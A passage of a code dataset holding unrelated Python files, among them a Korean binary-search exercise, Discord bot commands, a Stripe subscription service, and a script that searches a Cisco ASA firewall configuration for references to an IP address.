한 번에 절단함.\n 높이 H보다 긴 떡은 H 위의 부분이 잘릴 것이고, 낮은 떡은 잘리지 않음.\n\n 예를 들어 높이가 19, 14, 10, 17cm인 떡이 나란히 있고 절단기 높이를 15cm로 지정하면 자른 뒤 떡의 높이는 15, 14, 10, 15가 될 것.\n 잘린 떡의 길이는 차례대로 4, 0, 0, 2cm임. 손님은 6cm만큼의 길이를 가져감.\n\n 손님이 왔을 때 요청한 총 길이가 M일 때 적어도 M만큼의 떡을 얻기 위해 절단기에 설정할 수 있는 높이의 최댓값을 구하는 프로그램 작성.\n\n 첫 줄에 떡의 개수와 M.\n\n 입력 예시\n 4 6\n 19 15 10 17\n\"\"\"\n\n# 나의 풀이\nn, m = map(int, input().split())\ncm = list(map(int, input().split()))\ntmp = []\n\n\ndef search(array, target, start, maxH):\n if start > maxH:\n return None\n mid = (start + maxH) // 2\n\n res = 0\n for a in array:\n if a - mid > 0:\n res += a - mid\n\n if res >= target:\n tmp.append(mid)\n search(array, target, mid + 1, maxH)\n\n else:\n search(array, target, start, mid - 1)\n\n return max(tmp)\n\n\nprint(search(cm, m, 1, max(cm)))\n\n\n\"\"\"\n 문제 해결 아이디어\n\n 적절한 높이를 찾을 때까지 이진 탐색을 수행하여 높이 H를 반복해서 조정하면 됨.\n\n 현재 이 높이로 자르면 조건을 만족할 수 있는가?를 확인한 뒤에 조건의 만족 여부에 따라서 탐색 범위를 좁혀서 해결할 수 있음.\n\n 절단기의 높이는 0부터 10억까지의 정수 중 하나임\n - 이렇게 큰 탐색 범위를 보면 가장 먼저 이진 탐색을 떠올려야 함\n\"\"\"\n\n# 해답\nn, m = map(int, input().split())\narray = list(map(int, input().split()))\n\nstart = 0\nend = max(array)\n\nresult = 0\nwhile start <= end:\n total = 0\n mid = (start + end) // 2\n for x in array:\n if x > mid:\n total += x - mid\n\n if total < m:\n end = mid - 1\n\n else:\n result = mid\n start = mid + 1\n\nprint(result)\n","repo_name":"JngMkk/Algorithm","sub_path":"Algorithm/BinarySearching/binarySearch04.py","file_name":"binarySearch04.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12573920055","text":"from sigma.core.mechanics.incident import get_incident_core\nfrom sigma.core.utilities.generic_responses import GenericResponse\nfrom sigma.modules.moderation.incidents.visual_storage import icons\n\nidentifiers = ['id', 'order']\n\n\nasync def viewincident(cmd, pld):\n \"\"\"\n :param cmd: The command object referenced in the command.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :param pld: The payload with execution data and details.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n \"\"\"\n if pld.msg.channel.permissions_for(pld.msg.author).manage_messages:\n icore = get_incident_core(cmd.db)\n if len(pld.args) == 2:\n identifier = pld.args[0].lower()\n lookup = pld.args[1]\n if identifier in identifiers:\n if (identifier == 'order' and lookup.isdigit()) or identifier == 'id':\n if identifier == 'id':\n incident = await icore.get_by_token(pld.msg.guild.id, lookup)\n else:\n incident = await icore.get_by_order(pld.msg.guild.id, int(lookup))\n if incident:\n icon, color = icons.get(incident.variant).values()\n response = incident.to_embed(icon, color)\n else:\n response = GenericResponse(f'No incident with that {identifier} found.').error()\n else:\n response = GenericResponse('Order must be a number.').error()\n else:\n response = GenericResponse('Invalid identifier.').error()\n else:\n response = GenericResponse('Invalid number of arguments.').error()\n else:\n response = GenericResponse('Access Denied. Manage Messages needed.').denied()\n await pld.msg.channel.send(embed=response)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/moderation/incidents/viewincident.py","file_name":"viewincident.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"18434031254","text":"import stripe\n\nfrom auth.app.repositories.user_repository import UserRepository\nfrom auth.app.schemas.user import UserDocument\nfrom auth.config import settings\n\nfrom fastapi import Request, Response\n\nfrom common.enums.plan import Plans\nfrom common.exceptions.http import HTTPException\n\n\nclass StripeService:\n def __init__(\n self,\n user_repository: UserRepository,\n ):\n self.user_repository = user_repository\n\n async def create_checkout_session(self, user_id, price_id):\n stripe.api_key = settings.stripe_settings.secret\n checkout_session = stripe.checkout.Session.create(\n line_items=[{\"price\": price_id, \"quantity\": 1}],\n mode=\"subscription\",\n success_url=settings.stripe_settings.success_url,\n cancel_url=settings.stripe_settings.cancel_url,\n )\n user: UserDocument = await self.user_repository.get_user_by_id(user_id)\n user.stripe_payment_id = checkout_session.id\n await user.save()\n return checkout_session.url\n\n async def create_portal_session(self, user_id):\n stripe.api_key = settings.stripe_settings.secret\n user: UserDocument = await self.user_repository.get_user_by_id(user_id)\n portal_session = stripe.billing_portal.Session.create(\n customer=user.stripe_customer_id,\n return_url=settings.stripe_settings.return_url,\n )\n return portal_session.url\n\n async def webhooks(self, request: Request):\n body = await request.body()\n webhook_secret = settings.stripe_settings.webhook_secret\n stripe_signature = request.query_params.get(\"stripe_signature\")\n try:\n event = stripe.Webhook.construct_event(\n payload=body, sig_header=stripe_signature, secret=webhook_secret\n )\n data = event[\"data\"]\n except Exception as e:\n return e\n event_type = event[\"type\"]\n if event_type == \"checkout.session.completed\":\n stripe_payment_id = data.object.id\n stripe_customer_id = data.object.customer\n user: UserDocument = (\n await self.user_repository.get_user_by_stripe_payment_id(\n stripe_payment_id\n )\n )\n user.stripe_customer_id = stripe_customer_id\n user.plan = Plans.PRO\n await user.save()\n return {\"user\": user, \"upgrade\": True}\n elif (\n event_type == \"customer.subscription.deleted\"\n or event_type == \"invoice.payment_failed\"\n ):\n stripe_customer_id = data.object.customer\n user: UserDocument = (\n await self.user_repository.get_user_by_stripe_customer_id(\n stripe_customer_id\n )\n )\n user.plan = Plans.FREE\n user = await user.save()\n return {\"user\": user, \"downgrade\": True}\n elif event_type == \"invoice.payment_succeeded\":\n stripe_customer_id = data.object.customer\n user: UserDocument = (\n await self.user_repository.get_user_by_stripe_customer_id(\n stripe_customer_id\n )\n )\n user.plan = Plans.PRO\n await user.save()\n return {\"user\": user, \"upgrade\": True}\n","repo_name":"bettercollected/bettercollected-auth","sub_path":"auth/app/services/stripe_service.py","file_name":"stripe_service.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34417077820","text":"import discord\nfrom discord.ext import commands\nfrom reddit import *\nfrom webscraping import *\n\n\nclass Fun(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.Cog.listener()\n async def on_ready(self):\n print('[COG] Fun ready.')\n\n \"\"\"\n When meme command is called,\n it calles get_meme command (from reddit.py)\n returns embed with meme title, an image and footer with number of upvotes.\n \"\"\"\n @commands.command()\n async def meme(self, ctx):\n title, upvotes, img = get_meme()\n embed_meme = discord.Embed(\n title=title,\n colour=discord.Color.blurple()\n )\n embed_meme.set_image(url=img)\n embed_meme.set_footer(text=\"Upvotes: {}\".format(upvotes))\n print('[COMMAND][MEME] {} memes left.'.format(str(len(memes))))\n await ctx.send(embed=embed_meme)\n\n \"\"\"\n \"\"\"\n @commands.command()\n async def joke(self, ctx):\n joke = webscrap_joke()\n await ctx.send(joke)\n\n \"\"\"\n \"\"\"\n @commands.command()\n async def advice(self, ctx):\n advice = webscrap_advice()\n await ctx.send(advice)\n\n \"\"\"\n \"\"\"\n @commands.command()\n async def insult(self, ctx):\n insult = webscrap_insult()\n await ctx.send(insult)\n\n @commands.command()\n async def horoscope(self, ctx, *, sign):\n horoscope = webscrap_horoscope(sign)\n if horoscope == \"\":\n await ctx.send(\"Woops, something went wrong. Try .horoscope [sign]\")\n else:\n await ctx.send(horoscope)\n\n\ndef setup(client):\n client.add_cog(Fun(client))\n","repo_name":"OskarWalichniewicz/slackerbot","sub_path":"cogs/fun.py","file_name":"fun.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12162759016","text":"import asyncio\nimport glob\n\nfrom audiofile import AudioFileHandler\nfrom controller import Controller\nfrom device import Device\n\n\nasync def main():\n con = Controller()\n dev1 = Device(\"LED Tape 1\", \"127.0.0.1\", 5000)\n dev2 = Device(\"LED Tape 2\", \"192.168.0.74\", 5000)\n con.add_device(dev1)\n con.add_device(dev2)\n # for file in glob.glob(r\"./audio/**/*mp3\", recursive=True):\n # con.add_audiofile(AudioFileHandler(file))\n for audiofile in con.audiofiles:\n print(audiofile.name)\n audiofile.bind_device(dev1)\n audiofile.play_with_process()\n\nif __name__ == \"__main__\":\n asyncio.run(main())","repo_name":"broccolingual/python-real-time-fft","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12915197666","text":"altura = float(input('Qual sua altura em CM? '))\nif altura >= 36:\n print('\\nVocê é alto o suficiente.')\nelse:\n print('\\nVocê poderá andar quando estiver mais velho.')\n\n# Usando uma flag\n\nprompt = '\\nDiga-me uma coisa e vou repetir de volta para você: '\nprompt += '\\nDigite \"quit\" para terminar o programa. '\nativo = True\nwhile ativo:\n message = input(prompt)\n if message == 'quit':\n ativo = False\n else:\n print(message)\n","repo_name":"vilsonlopes/pythontraining","sub_path":"while_and_input.py","file_name":"while_and_input.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74711486643","text":"import random\n\ndef find_max(in_list):\n current_max = [float('-inf'), 0]\n for i, element in enumerate(in_list):\n if element > current_max[0]:\n current_max = [element, i]\n return current_max\n\nif __name__ == \"__main__\":\n my_list = []\n for i in range(40):\n my_list.append(random.uniform(0, 100))\n print(find_max(my_list))\n print(max(my_list))\n print(my_list)","repo_name":"Liamisko123/uni_subjects","sub_path":"PRH/programovanie/cviko2.py","file_name":"cviko2.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26566869581","text":"'''\nName: asa_ip.py\nDescription: Python script to discover all references to a specific IP address in an ASA configuration\nRequires: Python 'sys', 'datetime', 're', 'ipaddress' and 'ciscoconfparse' libraries\n\nUsage information for asa_ip.py: \n\n\n python asa_ip.py <arguments>\n\n\n -s <source configuration file> **Required**\n -o <output file> **Only used when a single IP address is provided**\n -i <IP Address>\n -l <IP Address List File> **One IP Address Per Line**\n\n\n Either -i or -l is required, but only one can be used\n\n'''\n\nimport sys\nimport datetime\nimport re\nimport ipaddress\nfrom ciscoconfparse import CiscoConfParse\n\n\n# Function to parse the full configuration into dictionaries/lists that we will later use for analysis. Returns a bunch of lists and dictionaries.\ndef parse_asa_configuration(input_raw,input_parse):\n # Set up lists and dictionaries for return purposes\n names = []\n objects = {}\n object_groups = {}\n access_lists = []\n object_nat = {}\n static_nat = []\n # Read each line of the config, looking for configuratio components that we care about\n for line in input_raw:\n # Identify all staticallly configured name/IPAddress translations\n if re.match(\"^name (([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).*\",line):\n names.append(line)\n\n # Identify and collect configurations for all configured objects\n if 'object network' in line:\n obj = input_parse.find_children_w_parents(line,'^(?! nat ?.*)')\n obj_name = (line.split()).pop(2)\n if not obj_name in objects and obj:\n objects[obj_name] = (obj)\n\n # Identify and collect configurations for all configured object groups\n if 'object-group network' in line:\n obj_group = input_parse.find_children_w_parents(line,'.*')\n obj_group_name = (line.split()).pop(2)\n if not obj_group_name in object_groups and obj_group:\n object_groups[obj_group_name] = (obj_group)\n\n # Identify and collect configurations for all configured access lists\n if re.match(\"^access-list .*\",line):\n access_lists.append(line)\n\n # Identify and collect configurations for all configured object NATs\n if 'object network' in line:\n obj_nat = input_parse.find_children_w_parents(line,'^ nat .*')\n obj_nat_name = (line.split()).pop(2)\n if not obj_nat_name in object_nat and obj_nat:\n object_nat[obj_nat_name] = (obj_nat)\n\n # Identify and collect configurations for all configured static NATs\n if re.match(\"^nat .*\",line):\n static_nat.append(line)\n # Return all these things. At this point we aren't being discriminate. These are a raw collections of all items.\n return(names,objects,object_groups,access_lists,object_nat,static_nat)\n\n\n# Function to check names for references to the provided IP address. Returns a list.\ndef check_names(input_names,ip_address):\n valid_names = []\n for item in input_names:\n if item.split()[1] == ip_address:\n valid_names.append(item.split()[2])\n return(valid_names)\n\n\n# Function to check objects for references to the provided IP address or matches for any matched name. Returns a list.\ndef check_objects(input_objects,input_names,ip_address):\n valid_objects = []\n for k,v in input_objects.items():\n for item in v:\n # There are multiple possible configurations. Host, subnet and range. We need to validate if our IP Address is in any of them.\n if 'host' in item:\n # This one is simple. Check to see if a host IP matches directly or if it matches a matched name.\n if item.split()[1] == ip_address:\n valid_objects.append(k)\n for name in input_names:\n if item.split()[1] == name:\n valid_objects.append(k)\n if 'subnet' in item:\n # Here it requires a bit more work. We use the ipaddress library to validate if the IP resides within the network statement.\n network = unicode(item.split()[1] + \"/\" + item.split()[2],\"utf-8\")\n ipa = unicode(ip_address,\"utf-8\")\n if ipaddress.ip_address(ipa) in ipaddress.ip_network(network):\n valid_objects.append(k)\n if 'range' in item:\n # This one was tricky. Since a range doesn't necessarily line up 1-for-1 with subnets, I used a summarization function in the ipaddress\n # library to generate a list of summaries required to cover the range of addresses provided in the object. I then check our \n # IP address against that list (ike the block above) to see if it resides in any of the summaries. \n ipa = unicode(ip_address,\"utf-8\")\n first = unicode(item.split()[1],\"utf-8\")\n last = unicode(item.split()[2],\"utf-8\")\n subnets = [] \n for ipaddr in ipaddress.summarize_address_range(ipaddress.IPv4Address(first),ipaddress.IPv4Address(last)):\n if ipaddress.ip_address(ipa) in ipaddr:\n valid_objects.append(k)\n return(valid_objects)\n\n\n# Function to check object-groups for references to the provided IP address\ndef check_object_groups(input_object_groups,input_names,input_objects,ip_address):\n # Now we're cooking with fire. Again we have multiple possible config statements under the object-group config and we need\n # to match against all of them. We are working our way down the heirarchy from more specific to less spacific, so we can use\n # previous matches to determine if an object, name, or host configuration is relevant to our IP address.\n valid_object_groups = []\n recursive_groups = {}\n for k,v in input_object_groups.items():\n for item in v:\n # Right off the bat we have to start dealing with a mess. Object-groups can be nested. Those nested groups are relevant\n # to our IP address so we need to pull configs referencing them as well.\n if 'group-object' in item:\n if k in recursive_groups.keys():\n recursive_groups[k].append(item.split()[1])\n if not k in recursive_groups.keys():\n recursive_groups[k] = []\n recursive_groups[k].append(item.split()[1])\n # Check a host/name reference against already matched lists\n if 'network-object host' in item:\n if item.split()[2] in input_names:\n if k not in valid_object_groups:\n valid_object_groups.append(k)\n if item.split()[2] == ip_address:\n if k not in valid_object_groups:\n valid_object_groups.append(k)\n # Check object references against already matched objects\n if 'network-object object' in item:\n if item.split()[2] in input_objects:\n if k not in valid_object_groups:\n valid_object_groups.append(k)\n # Identify network statements that are independent of objects and see if our IP address lies within their range.\n if re.match(\"^ network-object (([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).*\",item):\n network = unicode(item.split()[1] + \"/\" + item.split()[2],\"utf-8\")\n ipa = unicode(ip_address,\"utf-8\")\n if ipaddress.ip_address(ipa) in ipaddress.ip_network(network):\n if k not in valid_object_groups:\n valid_object_groups.append(k)\n # If any of our relevant object-groups had a nested-group, add it to the list of relevant object-groups.\n if k in valid_object_groups and k in recursive_groups.keys():\n for addons in recursive_groups[k]:\n if addons not in valid_object_groups:\n valid_object_groups.append(addons)\n return(valid_object_groups)\n\n\n# Function to check for recursive object-group references to those object-groups that matched the supplied IP Address\ndef check_recursive_object_groups(input_object_groups,matched_object_groups):\n recursive_reference = []\n for k,v in input_object_groups.items():\n for item in v:\n for matched_item in matched_object_groups:\n if 'group-object' in item and item.split()[1] == matched_item and k not in recursive_reference:\n recursive_reference.append(k)\n return(recursive_reference)\n\n\n# Function to check access-lists against previously discovered names, objects, object-groups and the provided IP address\ndef check_access_lists(input_access_lists,input_names,input_objects,input_object_groups,ip_address):\n valid_access_lists = {}\n for acl in input_access_lists:\n # We have to use enumerate here because I need to be able to reference the next word in the sentence so I need an accurate index.\n for i,v in enumerate(acl.split()):\n # Looking for specific key words in the ACL\n # Host is always followed by a single IP address so check to see if the next work matches the supplied IP Address or a matched name.\n if v == 'host':\n for names in input_names:\n # Have to check for the existence of a next word. Sometimes, including the test file I was working with, host is the last word\n # in an ACL remark, which makes this script puke all over itself. Better safe than sorry.\n if (i+1) < len(acl.split()):\n if acl.split()[i+1] == names:\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n if (i+1) < len(acl.split()):\n if acl.split()[i+1] == ip_address:\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n # Here we're looking for the object key word and the following word will be an object. We then check that againast our matched objects.\n if v == 'object':\n for objects in input_objects:\n if (i+1) < len(acl.split()):\n if acl.split()[i+1] == objects:\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n # Same as the object routine above.\n if v == 'object-group':\n for object_groups in input_object_groups:\n if (i+1) < len(acl.split()):\n if acl.split()[i+1] == object_groups:\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n # Here we're looking for IP ranges directly configured in the ACL. Use regex to match an IP address or subnet mask.\n if re.match(\"(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\",v):\n if (i+1) < len(acl.split()):\n if re.match(\"(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\",acl.split()[i+1]):\n network = unicode(v + \"/\" + acl.split()[i+1],\"utf-8\")\n ipa = unicode(ip_address,\"utf-8\")\n # The problem here is that we can match on a mask and then an IP so we don't know if we have a valid IP/Mask combo.\n # In order to not have the script fall apart when this happens, I'm just catching the exception and moving on. The IPAddress\n # library returns a ValueError if the network is represnted in a Mask/IPAddress format. We just ignore these instances.\n # Probably not the cleanest option but it works for now.\n try:\n if ipaddress.ip_address(ipa) in ipaddress.ip_network(network):\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n except ValueError:\n continue\n # We have to include any/any ACLs as well since they technicaly match all addresses.\n if v == 'any':\n if (i+1) < len(acl.split()):\n if acl.split()[i+1] == 'any':\n if acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]].append(acl)\n if not acl.split()[1] in valid_access_lists.keys():\n valid_access_lists[acl.split()[1]] = []\n valid_access_lists[acl.split()[1]].append(acl)\n return(valid_access_lists)\n\n\n# Function to look for object NAT statements for the relevant objects we've previously discovered\ndef check_object_nat(input_object_nat,input_objects):\n valid_object_nat = []\n for nat in input_object_nat:\n if nat in input_objects:\n valid_object_nat.append(nat)\n return(valid_object_nat)\n\n\n# Function to identify static NAT statements utilizing any relevant configurations we've identified previously\ndef check_static_nat(input_static_nat,input_objects,input_object_groups,ip_address):\n # This is currently overly simplistic and only factors in objects/object-groups that are referenced in NAT statements\n # It certainly needs to be refined for more definitive results. Use at your own risk. Who am I kidding, this whole script is use at your own risk.\n valid_static_nat = []\n for line in input_static_nat:\n for i,word in enumerate(line.split()):\n if word in input_objects:\n valid_static_nat.append(line)\n if word in input_object_groups:\n valid_static_nat.append(line)\n return(valid_static_nat)\n\n\n# Function to write an output file(s) if requested\ndef write_to_file(multiple,output_file,input_parse,input_names,input_objects,input_object_groups,input_access_lists,input_object_nat,input_static_nat,ip_address):\n today = datetime.date.today()\n if multiple:\n filename = ip_address.split('.')[0] + \"-\" + ip_address.split('.')[1] + \"-\" + ip_address.split('.')[2] + \"-\" + ip_address.split('.')[3] + \".txt\"\n f = open(filename,'w')\n else:\n if output_file:\n f = open(output_file,'w')\n else:\n f = open(\"output.txt\",'w')\n f.write(\"Output returned for asa_ip.py script\\n\")\n f.write(\"IP Address Provided: \" + ip_address + \"\\n\")\n f.write(\"Date: \" + today.ctime() + \"\\n\\n\\n\")\n\n # Name Output\n if input_names:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Name To IP Mappings Statically Configured\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for name in input_names:\n f.write(\"\\t\\t\" + name)\n f.write(\"\\n\\n\")\n\n # Object Output\n if input_objects:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Objects\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for objects in input_objects:\n objects_cli = input_parse.find_all_children('object network ' + objects)\n for cli in objects_cli:\n f.write(\"\\t\\t\" + cli)\n f.write(\"\\n\\n\")\n\n # Object-Group Output\n if input_object_groups:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Object-Groups\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for object_groups in input_object_groups:\n object_groups_cli = input_parse.find_all_children('object-group network ' + object_groups)\n for cli in object_groups_cli:\n f.write(\"\\t\\t\" + cli)\n f.write(\"\\n\\n\")\n\n # ACL Output\n if input_access_lists:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Access-Lists\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for acl_name,acl_values in input_access_lists.items():\n f.write(\"\\t--------------------------------------------\\n\")\n f.write(\"\\tAccess-List: \" + acl_name + \"\\n\")\n f.write(\"\\t--------------------------------------------\\n\\n\")\n for line in acl_values:\n f.write(\"\\t\\t\" + line)\n f.write(\"\\n\\n\")\n f.write(\"\\n\\n\")\n\n # Object NAT Output\n if input_object_nat:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Object NATs\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for object_nat in input_object_nat:\n object_nat_cli = input_parse.find_children_w_parents('object network ' + object_nat,'^ nat .*')\n if object_nat_cli:\n f.write(\"\\t\\tobject network \" + object_nat + \"\\n\")\n for line in object_nat_cli:\n f.write(\"\\t\\t\" + line)\n f.write(\"\\n\\n\")\n\n # Static NAT Output\n if input_static_nat:\n f.write(\"-----------------------------------------------------------------------------------------\\n\")\n f.write(\"\\tMatched Static NATs\\n\")\n f.write(\"-----------------------------------------------------------------------------------------\\n\\n\")\n for static_nat in input_static_nat:\n f.write(\"\\t\\t\" + static_nat)\n f.write(\"\\n\\n\")\n\n f.close()\n\n\n# Function to output script usage information\ndef print_usage():\n print(\"Usage information for asa_ip.py: \\n\\n\")\n print(\" python asa_ip.py <arguments>\\n\\n\")\n print(\" -s <source configuration file> **Required**\")\n print(\" -o <output file> **Only used when a single IP address is provided**\")\n print(\" -i <IP Address>\")\n print(\" -l <IP Address List File> **One IP Address Per Line**\")\n print(\"\\n\")\n print(\" Either -i or -l is required, but only one can be used\\n\\n\\n\")\n\n\ndef main():\n multiple = False\n user_output_file = \"output.txt\"\n if '-s' not in sys.argv:\n # Bail Out - Required\n print(\"\\nScript Execution Halted - No Source File Provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n if '-i' not in sys.argv and '-l' not in sys.argv:\n print(\"\\nScript Execution Halted - No IP Address or Address File Provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n if '-i' in sys.argv and '-l' in sys.argv:\n # Bail Out - We can't have it both ways\n print(\"\\nScript Execution Halted - Both an IP Address and an Address File were provided. You can only use one or the other.\\n\\n\")\n print_usage()\n raise SystemExit(0)\n for index,argument in enumerate(sys.argv):\n # Bring In User Supplied IP Address\n if argument == '-i':\n if (index+1) < len(sys.argv):\n if re.match(\"(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\",sys.argv[index+1]):\n user_ip_address = sys.argv[index+1]\n else:\n print(\"\\nScript Execution Halted - The provided IP Address does not conform to the standard format.\\n\\n\")\n print_usage()\n raise SystemExit(0)\n else:\n # Bail out - Need a valid IP address after the -i argument\n print(\"\\nScript Execution Halted - No valid IP Address provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n if argument == '-l':\n if (index+1) < len(sys.argv):\n user_ip_file = sys.argv[index+1]\n multiple = True\n else:\n # Bail out - need a valid IP list after the -l argument\n print(\"\\nScript Execution Halted - No Address File provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n if argument == '-o':\n if (index+1) < len(sys.argv):\n user_output_file = sys.argv[index+1]\n else:\n # Bail out - need a valid output file after the -o argument\n print(\"\\nScript Execution Halted - No Output file provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n if argument == '-s':\n if (index+1) < len(sys.argv):\n user_source_file = sys.argv[index+1]\n else:\n # Bail out - need a valid source configuration file after the -s argument\n print(\"\\nScript Execution Halted - No Source Configuration provided\\n\\n\")\n print_usage()\n raise SystemExit(0)\n\n # Open the source configuration file for reading and import/parse it.\n x = open(user_source_file,'r')\n config_raw = x.readlines()\n config_parse = CiscoConfParse(config_raw) \n x.close()\n\n # Send configuration off to get split up into different lists/dictionaries for reference\n ret_names, ret_objects, ret_object_groups, ret_access_lists, ret_object_nat, ret_static_nat = parse_asa_configuration(config_raw,config_parse)\n\n # If we're using multiple IP addresses, set up a loop to run through them. Otherwise use the provided address\n if multiple:\n i = open(user_ip_file,'r')\n addresses = i.readlines()\n # Verify that all IP Addresses are actually IP addresses\n for verification in addresses:\n if re.match(\"(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\",verification.rstrip('\\n')):\n continue\n else:\n print(\"\\nScript Execution Halted - At least one IP address in the Address File does not conform to the standard format.\\n\\n\")\n print_usage()\n raise SystemExit(0)\n # Now loop through each address in the file and process the information.\n for address in addresses:\n print(\"Now working on: \" + address)\n print(\"Checking names...\")\n conf_names = check_names(ret_names,address.rstrip('\\n'))\n print(\"Checking objects...\")\n conf_objects = check_objects(ret_objects,ret_names,address.rstrip('\\n'))\n print(\"Checking object groups...\")\n conf_object_groups = check_object_groups(ret_object_groups,conf_names,conf_objects,address.rstrip('\\n'))\n conf_recursive_object_groups = check_recursive_object_groups(ret_object_groups,conf_object_groups)\n merged_object_groups = conf_object_groups + conf_recursive_object_groups\n print(\"Checking access-lists...\")\n conf_access_lists = check_access_lists(ret_access_lists,conf_names,conf_objects,merged_object_groups,address.rstrip('\\n'))\n print(\"Checking object NAT...\")\n conf_object_nat = check_object_nat(ret_object_nat,conf_objects)\n print(\"Checking static NAT...\")\n conf_static_nat = check_static_nat(ret_static_nat,conf_objects,merged_object_groups,address.rstrip('\\n'))\n print(\"Writing output file...\")\n write_to_file(multiple,user_output_file,config_parse,conf_names,conf_objects,merged_object_groups,conf_access_lists,conf_object_nat,conf_static_nat,address.rstrip('\\n'))\n else:\n # Since we just have one ip address, we'll use the input from above and do the processing.\n print(\"Now working on: \" + user_ip_address)\n print(\"Checking names...\")\n conf_names = check_names(ret_names,user_ip_address)\n print(\"Checking objects...\")\n conf_objects = check_objects(ret_objects,ret_names,user_ip_address)\n print(\"Checking object groups...\")\n conf_object_groups = check_object_groups(ret_object_groups,conf_names,conf_objects,user_ip_address)\n conf_recursive_object_groups = check_recursive_object_groups(ret_object_groups,conf_object_groups)\n merged_object_groups = conf_object_groups + conf_recursive_object_groups\n print(\"Checking access-lists...\")\n conf_access_lists = check_access_lists(ret_access_lists,conf_names,conf_objects,merged_object_groups,user_ip_address)\n print(\"Checking object NAT...\")\n conf_object_nat = check_object_nat(ret_object_nat,conf_objects)\n print(\"Checking static NAT...\")\n conf_static_nat = check_static_nat(ret_static_nat,conf_objects,merged_object_groups,user_ip_address)\n print(\"Writing output file...\")\n write_to_file(multiple,user_output_file,config_parse,conf_names,conf_objects,merged_object_groups,conf_access_lists,conf_object_nat,conf_static_nat,user_ip_address)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jordan-martin/asa-ip-parse","sub_path":"asa_ip.py","file_name":"asa_ip.py","file_ext":"py","file_size_in_byte":26809,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"25160360119","text":"import pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nimport re\n\n\ndef file_loader(path):\n \"\"\" For loading train and validation datasets\"\"\"\n df = pd.read_csv(path).dropna()\n return df\n\ndef regexp_text_cleaner(sentence):\n \"\"\" Clean the text: removes all but words\"\"\"\n \n 